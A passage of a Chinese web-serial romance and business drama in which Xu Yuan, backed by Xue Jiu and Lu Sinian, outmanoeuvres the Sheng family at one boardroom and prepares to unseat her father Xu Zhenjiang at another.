她抱着手臂自讨闲散,隐约的让人从她的身上看到些许盛景炎的影子。 盛衡看到这些,就觉得自己牙根都有些发痒。 可还不等盛衡说什么,会议室内的其他董事已经交头接耳,凑近了议论纷纷。 声音不大,但也足够让盛衡听到他们在议论什么。 “银色长发还长成这副妖孽模样,是盛华的薛酒吧?” “是吧,除了薛酒,也没有男人长得比女孩子更漂亮了。” “许愿怎么会跟薛酒混在一起?” “盛景炎才出事她这就跟薛酒凑到一起了?这女人可真是够势力的。”有人不由嘲讽。 “可……那是薛酒,盛华的薛酒哎!跟海外各大商圈都有合作的薛酒,盛华的副总!” 是啊,那可是薛酒。 周围人嘀嘀咕咕,盛衡的心里却连着咯噔几下。 薛酒,许愿哪儿来的能力把薛酒都勾搭来了! 这女人就没有消停的时候吗!她怎么不干脆建立个优质帅哥后宫群呢!左一个男人右一个男人的!还有完没完了! 所有人的目光都落在薛酒身上,就连盛衡也不由落在薛酒身上。 坦白来讲,薛酒是真的漂亮,就算是站在许愿身边也毫不逊色,甚至会让人觉得这两人般配得像是一对碧人。 坐在董事会席位出席董事会的盛三少盛明宇却受不住许愿一直万众瞩目,他讥讽的掀唇开口。 “许总,我二哥才出事,你就迫不及待的带着你的新男人出现在盛世耀武扬威了?” “还真是无情无义。” 第200章 咄咄逼人 许愿抬眸,眼神冰冷的看向盛明宇,眼底溢出的寒意嘲意实在明显。 “请问你又是哪位?” 许愿一手扶在桌沿,眼底的笑意凉薄。 “我在A市工作三年,怎么从没有听说过盛世有您这尊大佛。”许愿倏然恍然:“哦,盛三少啊,实在不好意思,最近太久没有见过盛三少,想来盛三少最近怕是因为某些事茶不思饭不想才会如此消瘦,不然也不会虚弱到如此地步。” 这简直就是赤裸裸的嘲讽。 谁不知道盛三前段时间被盛景炎踹下来,从他手中抢走了盛世。 而帮扶盛景炎的就是许愿。 在盛三眼里,若非是许愿,盛景炎自身根本没有那个能力从他手中夺走盛世,所以罪魁祸首就是许愿。 盛明宇直接拍桌而起:“许愿!如果没有你,你以为盛景炎有能力从我手里面夺走盛世吗!他配吗!” 盛明宇面色阴沉,死死盯着许愿,甚至想逼近。 薛酒上前一步拦在许愿身边,眸光中闪烁着藏着锋芒的冷笑。 “盛三少当我不存在吗?” “哈。” 盛明宇捧腹而笑,笑得眼泪都快要流出来,笑到最后都觉得他自己仿佛变成了哥笑话。 “你们快看啊,许愿和薛酒之间,怎么可能清清白白!” “许愿,你真是水性杨花!盛景炎才出事,你就勾搭上薛酒!你有空窗期吗!” 盛明宇大吵大嚷,甚至拿出手机开了直播,对准许愿和薛酒的脸不停直拍。 盛明宇此前也算是高调,不知道多少人追捧,现在突然开了直播,标题还是许愿薛酒。 有些人不知道薛酒是谁,但许愿是谁他们还是清楚的。 跟许愿相关的事,不都已经传开闹得沸沸扬扬了? 现在盛景炎才出事,盛世要召开董事会,盛明宇专门挑这个时间召开董事会,也不知道又要出什么乐子呢。 众人才进入直播间,就被开屏的美颜暴击。 她今天上了精致的妆容,眼尾微微上挑,带着几分强势的冷感,但勾起的唇角却带着几许笑意,笑意浅淡,似乎在看屏幕,仿佛隔着屏幕都能看到对面的众人,那样直击灵魂令所有人心尖发颤的对视。 弹幕已经在不停刷许愿的名字,许愿只微微抬了下眉,盛明宇被气的整张脸都黑了。 他此刻觉得自己就像是个笑话! 他愤愤的将手机屏幕对准薛酒,又是美颜暴击,不同与许愿的冷艳,薛酒银色的发衬得那张五官立体的面容带着几分妖冶之感,他此刻就挡在许愿面前,懒懒散散的根本没有要看向镜头的意思。 “大家快看!这就是许愿的新情人奸夫!许愿她背着盛景炎在外乱搞!大家快看啊!” “这样的人凭什么继承我们盛家的产业!” 盛明宇在疯狂辱骂薛酒和许愿,可弹幕飘起的评论,却并非盛明宇想象中的侮辱字眼,全都在问薛酒是谁。 “薛酒谁啊??” “不是,这银毛儿是谁啊!” “现实生活中能一头银发还漂亮到这种程度的,兄弟你真的不打算原地出道吗?” “我我我!我朋友是业内知名经纪人,我这就把这兄弟照片给他传过去。救命啊,就冲这张脸,我朋友高低要给我磕一个!” “站在许愿旁边,让人完全不会忽略他的颜值,这是真美人啊!” 有些知道薛酒身份的人,真是满脑袋问号了。 “不是,你们是真没听说过薛酒的名字吗?” “薛酒啊!盛华副总薛酒啊!” “盛华没听过吗!国内知名跨国公司!闻名海外的资本公司,就连国外一些老牌资本都在请求合作的盛华!薛酒代表的就是这样强横的资本!让薛酒进入娱乐圈原地出道的人我看你是真的疯了,知道他分分钟多少钱吗你让他进圈给你卖笑?你癫啊!” 这段评论出来后,弹幕有一瞬间的凝固,然后井喷式的喷出更多数不清的评论。 “盛华薛漂亮真是名不虚传,只一个眼神,都让人看的忍不住犯迷糊。” “靠,所以许愿是没了盛景炎又勾搭上了薛酒!她凭什么啊!” “大概是凭她长得好看?” 弹幕又是一时默了。 盛明宇本以为所有人都会讨伐他们,但万万没想到这群人全都在谈论许愿和薛酒的颜值! 这群人是不是有病!难道这种时候不该从道德层面去谴责他们吗!讨论什么颜值!长得好看了不起吗! 事实证明长得好看就是了不起,特别是长得漂亮能力卓绝的人更加了不起! “许愿她背着盛景炎跟薛酒乱搞啊!你们能不能关注下重点!他们乱搞啊!” 盛明宇在这里胡说八道。 直播间评论区却有人为薛酒站队。 “薛酒那么漂亮,漂亮的人不会是疯批。” “许愿在商圈不是很有影响力?他们两个就不能有合作吗?别两眼一挣就说人家是乱搞!我看你才是最喜欢乱搞,盛三少你那些乱七八糟的事情都处理好了吗。” “你们疯了吗!怎么能因为薛酒长得漂亮就这么为他开脱!他都这么挡在许愿身前护着她了!”盛明宇气到自己牙齿都快要咬碎了。 “那你干嘛要恐吓许愿!薛酒一直都是绅士,看到你这样吓人肯定要保护许总的,这不是很正常的事?” “是个男人就不会因为一点小事恐吓女性吧。” “这不是废物才会做的事吗。” 盛明宇真是两眼一黑又一黑。 怎么就因为他们两个长得好看,就这么给他们开脱呢! 盛明宇气愤到挂断直播,但这短短十分钟左右的直播已经冲上热搜,许愿和薛酒的开屏美颜暴击足够震撼人心。 “长得好看可真是了不起,做什么事都有人能为你们开脱。”盛明宇阴阳怪气。 薛酒抬眸,眼尾仍然带着淡淡的笑意。 “盛三少,你想跟盛华的法务部约杯茶吗?” 像是威胁又像是警告。 盛华的法务部可不是吃素的,手下无一败绩。 盛明宇狰狞的面色立刻僵住了,一直坐在角落的盛明浔笑意温和:“薛总倒也不必大动干戈,我弟弟只是开几句玩笑。” 第201章 他像个小丑 薛酒微微挑了挑眉梢,目光落在他笑意温和的脸上。 他见过很多笑面虎性格的腹黑商人,有人心里阴暗,有人带有极强的攻击力,有人心思深重。 可在薛酒看来,盛明浔却像足了一个蠢货。 “盛大少不是只有一个弟弟吗?” 薛酒眯眸:“盛大少的弟弟,不是只有盛二少吗?什么时候跟三少感情也如此好了?” “盛二少才出事,大少还能跟三少把酒言欢,称兄道弟,看来盛大少跟盛二少的感情不过如此。” 盛明浔和盛景炎之间能有多深重的感情呢? 盛明浔对盛景炎,一直都是藏着嫉恨的心理。 他一直都在恨盛景炎,这么多年都在恨盛景炎,一直未暴露这样阴暗的心思是因为他深知自己已经是个废人,他需要盛景炎保护他照顾他一辈子。 所以他一直都在装、在演。 事实上,他深知自己早就心理变态,只是一只躲在阴暗角落生存的臭虫。 他想,凭什么呢? 他和盛景炎同父同母的亲兄弟,为什么受到迫害的就是他? 为什么断掉双腿,需要人照顾的是他?为什么就不能换作是盛景炎? 盛景炎活得多好啊,肆意潇洒,遍地都是红颜知己,甚至运气好到被许愿和唐雅颂看中,一步登天。 他这辈子凭什么这样顺遂,而他就只能被针对被嘲讽,要遭受这一切的苦难。 他如何不恨? 说什么兄弟感情,他们之间当然不会有几分真情,他从来都是最看重利益。 现在他就该跟盛明宇联手,从许愿手中夺回属于盛世的一切,决不能让盛世的东西真的落到许愿手中。 盛明浔的突然沉默,令薛酒连连嗤笑出声。 “果然,盛家不愧是盛家呢,一家子都是见利忘义,捧高踩低,为了利益能够抛弃一切的货色。” “薛总才应该注意言辞。” 盛明浔脸上温和的表情都带上冷意。 “因为是事实,所以没办法接受了?”薛酒歪头眼底冷意更深。 薛酒一直都是个毒舌,嘴里吐不出什么好听话。 特别是针对自己瞧不上的人,更是会冷言嘲讽,怪只怪他长了张实在妖孽的脸,有时候确实是让人生不出气来。 换用盛衡的话来说,但凡家里的混账东西们长成薛酒这漂亮模样,他也很容易受宠。 薛酒的漂亮是带着点女性柔美的漂亮,盛家人的颜值是高的,但却都带着攻击性所以才会如此。 会议室内的气氛都已经变得有些古怪。 “不必跟他们说这些。” 许愿抬眸,她坐在长桌边缘,长指在桌沿轻点着,姿态慵懒闲散。 “我今天跟薛酒来盛世,是为了一份合同。” “我和盛华早就有合作,这次3D相关的技术是我个人与盛华有合作,而非盛世。盛世中盛景炎私下建立的实验室,也早就已经换上盛华的研究员。” 许愿眉眼微微上挑,带着几分逼仄之意。 “所以,是由我来继续担任盛世的副总,还是由盛家其他人夺走这个位置,就看诸位如何选择了。” “我当然不会将我个人的想法,强加到你们身上。” “不过……大家也知道那些研究3D已经做出成果的公司,在业内都已经积累了足够雄厚的资金,3D之后就是全息……全息之后又是什么呢?” “我能带给你们的,永远都是走在前沿的最新资讯科技,敢问其他人能够带给你们多少利益?” “眼前利益还是长远的利益,请问哪一项是我不能够带给你们的?” 人都是贪婪的。 你给他一百块,他会想要一千块。 你给他一千块,他会想要一万块。 就像现在,许愿不知道盛家人给这些人什么样的好处,但是她能给的好处,绝对远超那些人。 在绝对利益面前,那丁点蝇头小利就算不得什么了? 许愿能给的单子绝对是大单,不说空头支票,单是最近许愿发出的3D影像,就已经让盛世股价疯涨。 现在盛景炎出事,盛世股价没有暴跌甚至根本没有跌多少,全因那些人都清楚盛世还有个许愿! 一切都有许愿压着,哪怕没了盛景炎,那盛世还是盛世,还有很好的发展。 除非是盛世自己犯蠢,真的赶走许愿。 3D能赚多少呢? 谁也说不清楚,但是那些研究这类的海外公司,确实是都成了大资本,且许愿还抛出了更多的诱饵,3D后是全息,全息后呢? 她手中那么多的人脉,不缺合作不缺合同。 盛家父子给的那点好处跟许愿拿出来的放到一起,属实像玩笑。 有人目光中都带着怜悯之意的看着盛衡。 若是盛景炎真的出事,按照法律条规,盛景炎的东西势必要被许愿继承了。 他们这些董事也……也是绝对支持许愿的。 谁能带他们挣钱他们就认谁,而许愿跟财神爷有什么区别吗? “所以我想请问,诸位举办这场董事会的目的是什么呢?” 许愿面带微笑睥睨全场。 “是为了换掉我吗?” 她拿出了几张底牌而已,就已经让会议室内的众人自乱阵脚。 “许愿!你不要在这里危言耸听胡说八道!你说你能研究3D就能研究3D吗!还全息!我看你简直是在做梦!” 盛衡没有吵嚷,盛三憋不住了跳起来,怒目指向她。 “我微博上发的视频,难道盛三少没有看到吗?” 许愿唇角含带着笑意,看向盛明宇时目光明显带着嘲意,她在嘲讽盛明宇的愚蠢可笑。 也是,但凡盛明宇有看到那段视频,就不会不清楚她的能力。 “盛先生,有时间给盛三少报几门课吧,实在不行书法课也可以,陶冶下情操也是好的。” 许愿面带微笑:“总好过让盛三少在会议室上如此暴躁。” 像个小丑。 这句话许愿没说出来,但她表达的意思很明显了。 她对盛明宇真是明晃晃的嫌弃。 盛衡也觉得丢人,低喝一声,让盛明宇不要再丢脸。 盛明宇愤愤的咬牙。 “那么请问各位还有什么疑问吗?” 她此刻已经随着自己的节奏压制了全场,谁又敢在这种时刻有疑问呢? 第202章 活着回来就够了 许愿微笑的看向场内众人。 没有人回话,盛明宇却又阴阳怪气:“你说盛华会跟盛世合作,就一定会合作吗?你以为你是盛华的总裁吗,你又不是陆斯年!” 薛酒垂眸,眼神冰冷的睨向盛明宇:“我想,我站在这里就已经是最好的回答。” 盛衡快被盛明宇气死了,忙呵斥着让他闭嘴。 他是偏向自己的小儿子,但谁知道是个十足的蠢货!什么话不该说他说什么! 薛酒人都已经站在这里了,还能有什么问题! 薛酒是盛华的副总,许愿是盛世的副总,这两人难道还不能代表各自公司吗! 现在薛酒明摆着是护着许愿的,他发疯说那些岂不是要得罪薛酒了! 许愿喉间溢出很轻的笑,明明没有带着嘲意,但就是让人觉得许愿是在嘲笑盛明宇。 “那么,诸位应该没有其他问题了。” 许愿伸出手,和薛酒默契的握手。 “那么,预祝我们接下来合作愉快。” 会议室内除了盛家人,其他董事纷纷笑着拍手,会议结束之后,都还走过来笑吟吟的提起往后合作的事情,希望今天闹的笑话让薛酒别放在心上。 薛酒官方疏离的一一做了回应,直到其他董事都走完了,盛家父子都还没离开。 盛明宇到这时候都还不忘记放一句狠话。 “我警告你!属于盛世的东西,我们盛家是一定会夺回来的,你别想着抢走盛家的东西!” 盛明宇放狠话,盛明浔只坐在轮椅上面色肃冷的看着这一幕。 现在会议室只有这么几个人,薛酒也不装了,直接走上前拽住盛明宇的衣领,将人拎小鸡崽儿似的拎起来。 “如果我是你,我就不会继续在这种时刻放狠话。” “你以为现在没有盛景炎的盛世,是谁在撑着?” “是许愿在撑着。” “如果不懂金融,不懂商业,那就缩回你的盛家当一辈子米虫,别在这里丢脸。” 薛酒早就看他不爽,此刻更是没有半分留情。 他放开盛明宇,斜眼扫了盛衡一眼:“盛总,你也该盛三少清楚许愿在盛世的价值。” 没有许愿,盛世如今不会这么稳。 盛衡擦拭着脸上的冷汗,连连称是。 可到最后忍了再忍,他最后还是忍不住开口:“我没有别的意思,就是……许愿当然可以担任盛世的副总,但是盛景炎留下的那些东西,是不是该还给我们?房产不动产还有那些股份,那都是属于盛家的,就算盛景炎真的去世,也该归还盛家。” 说到底,还是贪盛景炎的财产。 薛酒没回话,他没有立场为许愿做回应。 许愿站在原地,她仍然坐在桌沿,冰冷的灯光打在她的侧脸上。 她抬眸,清冷的水眸泛起阵阵凛冽的寒意,像是内里藏着细碎的寒冰,只接触到这样的目光就让人心尖忍不住发颤。 “盛景炎还活着。” 她说。 “那是盛景炎的东西,不是盛家人的东西。” “我会为他守护好他的财产,不会让任何人染指。” 盛衡被气笑了。 “许愿,那是盛景炎的东西,是属于盛家的,我们盛家自会守好我们的东西。” 许愿笑了。 她笑起来是很美的,眼底都带着几许靓丽之意,却不会被人忽略眼底的冷意。 “那盛先生应该想想清楚,为什么盛景炎没有将东西留给盛先生,而是全部留给我。” 是啊,如果你们之间感情真的很好,那盛景炎为什么会将所有的资产都留给她? 因为信不过盛家人。 因为她清楚盛家就是无底洞,是漩涡。 他的东西若是落到盛家人手中,就不会有要回来的那一天。 他将东西留给许愿,不仅是因为爱,因为他对许愿足够信任。 许愿是他可以轻松交付后背的人,但盛家人不是。 他们虎视眈眈,随时可能冲上来撕碎它只为了争夺那些利益。 “我爱人给我的东西,我为什么要让出去。” 许愿笑意凉薄:“他的东西让出去,还有还回来的那一天吗?” “你们心里很清楚,没可能。” “所以话都已经说到这份儿上了,还有继续谈下去的必要吗。” 许愿微微抬眸,眼底的冷意丝毫不减。 盛衡面色阴沉的盯着她。 许愿视而不见从桌子上跳下来,但是脚下一软险些摔倒,薛酒眼疾手快扶住她。 盛明浔眸中闪过几许锐利锋芒,他意味深长:“许总可要顾好自己的身体,毕竟不久前才小产过,也不必还未恢复就来盛世稳固自己的地位。” 许愿脚步微顿,她转身,眼神淡淡的瞥他一眼。 “你应该祈祷我不会真的出事,否则没有我和盛景炎的盛世,一文不值。” 话落,许愿由着薛酒扶着离开会议室。 她背影洒脱肆意,任谁也看不出她在会议上是如何大杀四方。 盛明浔眼神黯淡,他清楚许愿说的都是真的。 但是……就是不甘心,没了盛景炎却又压着一个许愿。 难道往后盛景炎被找回来后,许愿真的要代替盛景炎来管理盛世吗? 那他又算什么! 不行,不能这么算了! 就算盛世一文不值,那又怎样,只要属于他,一文不值他也认了! …… 回到车内,许愿捏了捏眉心,她实在疲惫得厉害。 “安排人去找盛景炎。盛家人、傅长海、傅京礼、所有的有可能伤害到盛景炎的,一个都别放过。” “他绝不可能真的出事,他一定还活着,背地的人就是想用盛景炎拿捏我。” 话音才落,许愿眸光微闪。 “不,不需要去调查这些。” “他们会主动联系我的。”许愿心里已经有了人选,她不由得握紧拳。 “派人偷偷监视傅长海,盛家那些人都是些小喽啰,做不出多大的事,只有傅长海才可能如此卑劣。” 如果盛景炎真的在傅长海手中,那么她会庆幸。 傅长海只在乎利益,哪怕为了利益他也不会真的伤害到盛景炎。 起码……他一定还活着。 只要活着就好。 她要求不高,活着回到她身边就够了。 第203章 他会没事的 薛酒已经吩咐人去查这次的主谋,但万万没想到被放在最上面被查出来的,竟然会是许家人。 是许镇江和许宁。 他们这样贪婪嫉妒心又强的人,是永远都不肯放过许愿和苏逸的。 对许宁来说,只要许愿还存活于世,对她就是一种伤害,对许镇江来说,苏逸更是一切的污点。 他想要疯狂报复。 若非此次盛景炎没有让许愿一起出门,怕是这次车祸出事的还要加上她。 许愿心里面清楚,许家人只是被推出来给她个交代的幌子。 可即便如此,她也不会轻易放过。 许愿离开前,就遇到了匆匆赶过来的陆斯年。 她坐在轮椅上,看到面色温和的陆斯年,却还是扬起小脸,笑得眼睛弯成月牙。 “哥,你来找我了。” “最近我这里事情太多了,金融峰会相关的事情就只能先交给哥和薛酒了。” “你又要忙别的?”陆斯年忍不住伸出手揉她有点乱的长发,“已经有合作者问起你了,忙完后时间回应下他们。” “毕竟盛华真正的掌舵人还是你。”陆斯年开口,声音都是柔和的。 许愿又笑起来,她还是很虚弱的,但为了不让陆斯年担心,身上的不适都被她强忍了下去。 李青荷电话来得不巧,许愿才跟陆斯年提起有关于后续合作的事,手机铃声就急促的响起来,许愿本想挂断,却又想起正事来。 李青荷也是许镇江曾经辜负过的女人,其实许愿很清楚,女性一旦崛起,那力量绝对不容小觑,就像李青荷也是凭借着对许镇江的恨才站到如此高度,只为了报复许镇江。 刚巧对方现在联系她,而她也确实是很想教训许镇江和许宁。 他们动盛景炎和苏逸,她就要动他们最看重的公司利益股份,让他们真正的成为丧家之犬。 她和李青荷早私下见过面,商量在许氏董事会的时候,将手中股份全部转给李青荷。 李青荷这个时候打电话来,肯定是为了许氏董事会。 许愿眸光闪烁,她接了电话跟李青荷商量了一番,知晓许氏董事会召开的时间是下午三点,许愿特地提了一句:“李总不妨带上小李总一起参加董事会。” 不巧,李青荷有过许镇江的骨肉,当初躲躲藏藏还是生下了这孩子。 陆斯年递过来一碗热腾腾的燕窝粥,许愿喝着甜甜的燕窝粥道:“让他亲眼看着自己是如何被‘亲生儿女’针对,让他知道什么是众叛亲离,多好。” 李青荷愕然。 李青荷的儿子李云洐正在一旁为她整理下午许氏董事会的资料,李青荷开了免提,提出这种折腾人的主意自然叫他听了去。 李云洐轻笑一声:“妈,带我一起去吧。” 许愿听到李云洐的声音,许是因陆斯年在一旁,又可能是马上要报复许镇江了所以使坏开口:“李总,我这位哥哥都想一起去了,不如一起参加许氏董事会?” 李云洐听闻她喊自己哥哥,略微挑眉,对自己这个便宜妹妹十分好奇且很有好感。 倒是陆斯年拧着许愿耳朵吃味斥她:“当着哥哥的面,认谁做哥哥呢?” 他也不用力,却是听不得她喊别人做哥哥。 许愿抱着手臂开口:“那是许镇江到处播种,我在外面好多哥哥姐姐弟弟妹妹呢。” 李云洐没忍住笑出声来:“他在外面是种多,却也不是谁都能让我认作妹妹的。” 许愿开口:“那是,也就只有我这样的才配。” 许愿的身份摆在这里,硬要说还是李云洐高攀了。 许愿跟那边打了招呼后挂断电话又开始琢磨别的,反正对许镇江是不抱半点好心。 “哥,你要不要跟我一起做坏事?”许愿问陆斯年。 陆斯年做出一副洗耳恭听的姿态:“你先说说是什么坏事。” 许愿顿了下,却又担心陆斯年觉得她这么做太狠。 许镇江的身份毕竟是不同的,明面上他确实是她的父亲。 陆斯年又怎么会不清楚许愿心中所想? 他眸底快速的闪过一丝戾气,琥珀色的双瞳一眨不眨的盯紧此刻想要逃离的许愿。 “阿愿,这不是你的错,错的是许镇江,现在他要遭受到这一切也是他应得的。” 许愿低着头没说话,桌上只有那份燕窝粥,她就瞧着那碗燕窝粥看了半晌。 陆斯年便也沉默了,许愿伏低身体悄然抓住男人的手,像是循着记忆中男人最常做的动作,抬高男人的手放到自己头上。 陆斯年顿了一瞬。 记忆中,每次许愿做错事,他总会揉着她的头发轻拿轻放,就当揭过这件事。 她这是在给彼此一个台阶下,像是无声的告诉他,他们都没有错,她想得到哥哥的安慰。 他们其实真的认识很久了。 幼年时,陆家人就在许家隔壁,许愿也算是陆斯年看着长大的,所以后期才会那般相信彼此的合作。 许愿最艰难的时候,其实算是陆斯年陪着的。 只可惜后期陆家出事,陆家搬离A市,两人在很久后才重新遇到,但陆斯年是哥哥这一点早就烙印在许愿心底了。 对她来说,陆斯年也是很重要的人。 许愿凉冰冰的手指握着他的手腕没有松开,似乎带着点紧张的攥了攥,只等他揉一揉自己的头发。 陆斯年目光随着她的手,移到她略微轻颤的眼睫,他心里愈发难受。 在他印象里,许愿不该如此。 被傅京礼伤害过,好不容易接受了一个盛景炎,却又要遭遇这些,他都会为她忧心。 他只希望无论如何,盛景炎一定要活着回来。 站在哥哥的立场,他不希望许愿继续伤心。 “哥,会没事的,对吗?” 许愿有些慌的抬起头,像是受惊的小鹿眼眶发红的望着他,全然没有平日里运筹帷幄天不怕地不怕胸有城府的模样,有的是害怕和不安。 “会没事的。”陆斯年轻叹一声,“盛景炎那么聪明,没有人真的能拿捏他。” 她漂亮的眼睛中闪着惊慌失措的光:“对,盛景炎一定会没事的。” 第204章 哥哥陪你一起做坏事 她也只有在陆斯年面前,才会暴露出此刻这般慌乱的模样。 陆斯年掀起眼帘默默注视着她,被她紧握的手腕都像是在发热,那股热意自手腕传到四肢百骸。 他微敛眉眼,终是扯出一抹她印象中的温柔笑意,身上的危险的野性戾气全都被强硬的压下去。 他揉了把许愿的发:“从外面回来也不知道整理整理,瞧你一头乱发。” 说着,他手上动作不停为她整理顺着还有些乱的长发。 许愿笑起来。 陆斯年又揉了把她的头,算作回答。 “说正事,你想我跟你一起去做什么坏事。”他还在“整理”她的头发没有放手。 许愿开口解释:“哥,你既然什么都知道了,那也该知道许氏马上就不行了。我正打算今天许氏董事大会的时候去参加一下,让许镇江彻底被驱逐出高层,并当着他的面把手中的股份全都卖给他曾经的情人,给他的许氏改个姓。” “我都已经跟李总那边约好了,她会带着她的儿子李云洐一起去,一双儿女众目睽睽之下背叛他,这剧情不爽吗?”许愿眼底尽是嘲意,“而且,哥你现在是盛华明面上的掌舵人,你跟我一起,也好给我撑腰。” 许镇江当然会记得陆斯年。 当年陆家没落,跟许镇江也逃不开关系,但许镇江这种人不会内疚,只会得意。 只是现在陆斯年的身份不同了,陆家早就崛起了。 “让他知道我哥回来了,我也是有靠山的人了。” 许愿很清楚许镇江见到陆斯年后会有多怕多慌,而旁的董事会成员也会因为陆斯年的身份,逼迫许镇江下台。 一旦知道陆斯年的身份,没有人想得罪他。 陆斯年自然依她,“好,哥哥陪你一起做坏事。” 许愿终于笑了,只是那笑意是冷的,她好似已经透过这些看到了许家未来的悲惨人生。 一直被忽略在隔壁位置的薛酒食不知味的搅动着杯中已经彻底冷掉的咖啡,他一口喝完,让自己冷静了片刻。 啧,果然还是冷静不下来。 小坏蛋要带大坏蛋去做坏事?他有点想看。 薛酒轻咳一声:“那个……你们介意带个充数吃瓜的吗?” 他整理了下西装扣子:“我这身份放出去还是挺能唬人的。” 虽然不是什么多高贵的出身,但怎么也是盛华的副总,放出去当然能唬人。 薛酒这人,是挺爱吃瓜的。 特别是爱吃这种伸张正义的瓜。 许愿想了下,自己带着两个气场强大又高又帅的男人出现在董事会上,一看就是那种打击恶势力的正派主角,十分符合她盛世总裁夫人的身份。 她可一点都不怕自己打脸许镇江被拍到。 她就怕没人拍到,整治许家人不用手软,因为没有人同情他们,同情他们跟他们共情的要么是脑子有病的圣母要么也是人渣完全不必在乎。 “金融峰会的事你忙完了?”许愿问他。 薛酒摸摸鼻子:“金融峰会那么多事,也忙不完吧。” “有这个时间休息休息看看好戏。” 吃瓜看热闹这种事不能缺了他。 许愿自然没话说,正想着蹭哥哥的车,却猛然考虑到一个非常现实的问题。 守法公民许愿语气十分认真:“哥你这些年一直都没回国,应该只有M国的驾照吧,国内的车你就算买了也不能开,被抓到了要蹲局子坐牢的,等你考了驾照后才能开车。” 她记得可清楚了,前几次陆斯年来找她还都是司机开的车。 陆斯年有点头疼了。 许愿转着自己的钥匙,由着陆斯年推着轮椅往前走。 坐在轮椅上的许愿虚弱归虚弱但小嘴还是能叭叭,就因为陆斯年突然回来,她都忽略了头疼和身体上的不适,除了有点困倦旁的都忍下来了。 忍着身体不适的许愿还不忘往陆斯年心窝插一刀:“哥最近考驾照特别麻烦,特别是科二,哥你要做好几个月都考不到驾照的准备。” 对,他就是驾照没有考下来,科目二没有过。 陆斯年伸手敲她头,她这才老实的闭嘴。 参加董事会前陆斯年还批判了下她现在穿的衣服,带着陆斯年和薛酒同时逛品牌店有什么不同呢? 薛酒就是作为朋友纯欣赏的态度点评,而陆斯年……让她怀疑她带了“亲爹”出门逛街。 薛酒看她穿的衣服,总能适当的夸几句。 陆斯年就不一样了,露胸的不能穿,太性感的不能穿,露腰的露大腿的露后背的统统不能穿。 让她换上了厚厚的外套,念了她一路,身体虚弱还要穿薄外套,可不就是等着陆斯年念她呢。 最终许愿挑了件黑色丝绒连衣裙,裙摆到脚踝,外搭一件白色针织外套,脚上是一双裸色五厘米的高跟鞋。 那双白色针织外套还是陆斯年逼着她穿的,只一句不穿会冷。 有一种冷,叫做“你哥哥觉得你冷”。 许愿无法,如果不是她强烈反抗陆斯年还想给她戴顶帽子。 许氏集团。 这次董事会许镇江一拖再拖,这次终于拖不得了,私下里花了大价钱去买通几位跟自己有些交情的董事,想让他们在董事大会上投资自己几票,继续支持自己做许氏的董事。 也是买通了那几人,许镇江才敢召开董事会,觉得自己这次董事会后还能是许氏的总裁这才安心。 岂料董事会举行到一半,就迎来了不速之客。 “许氏举办董事会怎么也不通知我们母子呢?怎么举办董事会还要你们抱团开?”李青荷和李云洐的出现,打断了这场董事会。 各位董事面面相觑,许镇江更是懵了。 李氏跟许氏是死敌,一直都紧咬着对方。 许氏还好,但李氏一直不肯放过许氏,不论什么都要跟许氏争上一争,这次许氏出事李氏没少趁乱攻击许氏。 都这会儿了,李氏的人来干什么?看热闹吗! 许镇江死盯着李青荷眼睛都不眨。 他当然知道李青荷是他当初抛弃的情人,当初他贪图李家那点家产,害死李青荷的父母,但那件事他做得干净,李青荷想报复他也找不到证据。 第205章 别忘了这是谁的地盘 许镇江根本不知道李青荷为什么还能重新振作起来创建了李氏,跟疯狗一样死咬着许氏不放。 他不止一次内心涌出恶毒的心思,想着当初就不该对她留情,就该拿到李家家产后也弄死她,省得现在整出这么多烂事儿! 许镇江扯着领带冷笑几声:“李青荷,你带着你那没人要的孩子来我们许氏开董事会?年纪大了老眼昏花认不得哪儿是许氏,哪儿是李氏了?” 李云洐却丝毫不恼,只低笑一声,不咸不淡回应:“许家的事情,我与母亲一直格外关注,看到许先生教养出的许宁小姐,实在令我与母亲望而却步。感谢您曾经高抬贵手放过我们母子,好让我由母亲教养长大,没长成许宁小姐那般,也没变成许先生这种滥情且不知法律为何物毫无三观的渣滓。” 他抬眸,眼神一下子冷下来:“所以,十分感谢。” 许镇江挑选情人肯定是看脸的,李青荷长得自然不差。 许镇江能骗那么多千金,年轻时也是无双俊美的,李云洐自是温润中带着俊朗,此刻就这般讥讽的看着他的亲生父亲,宛若看一坨没有生命的垃圾。 许镇江脸色灰白如纸,那些董事面上不说,却指不定心里怎么讽他看他笑话呢。 明明是董事会,情人却带着私生子上门明晃晃的打脸,许镇江都觉得自己两边脸都被这两个不懂事的打肿了! 许镇江最初还曾觉得对不起李青荷,后来等李青荷崛起,并跟许氏作对后,许镇江对她只余怨恨,但从未真正把李青荷当成自己的对手。 对他来说,李青荷一直都还是那个能被他轻易踩到泥地里的情人。 从始至终,他都不觉得李青荷跟自己是平等地位。 情人就是情人,爬的再高,也改变不了她曾跪在他脚下,恳求他别走,求他留下来的卑微模样。 所以即使现在许镇江慌了,语气中的讥讽却仍是明晃晃的:“李青荷,这是许氏的董事会。你有什么事或者什么需求,去别的地方自行处理,我没那时间同你浪费时间理论。” 这话不就是在讽她这么一把年纪,想男人了才找上门吗? 李青荷眯着眼瞧他,这一刻,竟也觉得自己怎么就瞎了眼,看上这笑里藏刀口蜜腹剑的狗东西。 李云洐眼底闪过寒光,他扶着李青荷坐到一个空位上,自己则像是守护神一样陪在李青荷身上,主动替李青荷嘲回去:“贵司现任领导人果真是年纪大了,连话都听不清。” “我母亲来到这里,第一句话就表明了身份。我们手中的股份是来许氏参加今天董事会的。”李云洐手中的将手中复印了多份的股权书发放到所有董事手边,“我们就是凭借这份股权书顺利进出许氏,来到会议室参加董事会,请问各位还有什么疑问吗?” 他说到这里,也稍稍停顿了些:“有些年轻时风流,临到老还是满脑子龌龊思想的‘前辈’,若是有时间去医院看看脑子,看看里面是不是都被某种精虫啃食了大脑,否则怎么说出的话没一句能上得了台面?” “一个连最基本礼义廉耻都不知的老前辈,是真的还配做许氏的领导人吗?怪不得许氏不思进取原地踏步濒临破产。” 李云洐由李青荷教养大,许镇江那几句话早已触怒他,他面上不显,却是句句带刺戳他心口对他进行人身攻击。 会议室内的诸位董事均未不言语,却内心自有打算。 其实许镇江虽私下给了钱送了礼,但那到底是私下的动作,也没留什么证据,更没说签合同就一定要在董事会上投他。 且李云洐说的有错吗? 许镇江可不就是老了吗? 就因为他老了,才会尽做些糊涂事。 看看苏青莲出事后,许氏简直一落千丈,再不复往日辉煌,许镇江只会守着那一亩三分田,一点创新都不敢有。 愣是旁的人吃了第一口螃蟹,他才恍然大悟跟在人屁股后面去开拓新市场。 可这时候开拓新市场,早已经晚了。 